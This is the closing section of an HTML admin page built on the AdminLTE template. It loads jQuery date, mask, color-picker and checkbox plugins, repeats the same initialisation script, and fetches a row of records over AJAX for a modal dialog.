<!-- InputMask --
<script src="../../plugins/input-mask/jquery.inputmask.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.date.extensions.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.extensions.js"></script>
<!-- date-range-picker --
<script src="../../bower_components/moment/min/moment.min.js"></script>
<script src="../../bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
<!-- bootstrap datepicker --
<script src="../../bower_components/bootstrap-datepicker/dist/js/bootstrap-datepicker.min.js"></script>
<!-- bootstrap color picker --
<script src="../../bower_components/bootstrap-colorpicker/dist/js/bootstrap-colorpicker.min.js"></script>
<!-- bootstrap time picker --
<script src="../../plugins/timepicker/bootstrap-timepicker.min.js"></script>
<!-- SlimScroll --
<script src="../../bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- iCheck 1.0.1 --
<script src="../../plugins/iCheck/icheck.min.js"></script>
<!-- FastClick --
<script src="../../bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Page script -->
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Date picker
$('#datepicker').datepicker({
autoclose: true
})
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass : 'iradio_minimal-blue'
})
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass : 'iradio_minimal-red'
})
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass : 'iradio_flat-green'
})
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
//Timepicker
$('.timepicker').timepicker({
showInputs: false
})
})</script>
<!-- jQuery 3 --
<script src="../../bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 --
<script src="../../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Select2 --
<script src="../../bower_components/select2/dist/js/select2.full.min.js"></script>
<!-- InputMask --
<script src="../../plugins/input-mask/jquery.inputmask.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.date.extensions.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.extensions.js"></script>
<!-- date-range-picker --
<script src="../../bower_components/moment/min/moment.min.js"></script>
<script src="../../bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
<!-- bootstrap datepicker --
<script src="../../bower_components/bootstrap-datepicker/dist/js/bootstrap-datepicker.min.js"></script>
<!-- bootstrap color picker --
<script src="../../bower_components/bootstrap-colorpicker/dist/js/bootstrap-colorpicker.min.js"></script>
<!-- bootstrap time picker --
<script src="../../plugins/timepicker/bootstrap-timepicker.min.js"></script>
<!-- SlimScroll --
<script src="../../bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- iCheck 1.0.1 --
<script src="../../plugins/iCheck/icheck.min.js"></script>
<!-- FastClick --
<script src="../../bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Page script -->
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Date picker
$('#datepicker').datepicker({
autoclose: true
})
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass : 'iradio_minimal-blue'
})
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass : 'iradio_minimal-red'
})
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass : 'iradio_flat-green'
})
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
//Timepicker
$('.timepicker').timepicker({
showInputs: false
})
})
</script>
<script type="text/javascript">
$( document ).ready(function() {
$("#salarie_mutuelle").click(function () {
val=$(this).val();
if(val==1){
$("#end").prop('disabled', false);
}else{
$("#end").prop('disabled', true);
}
});
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxpresation.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>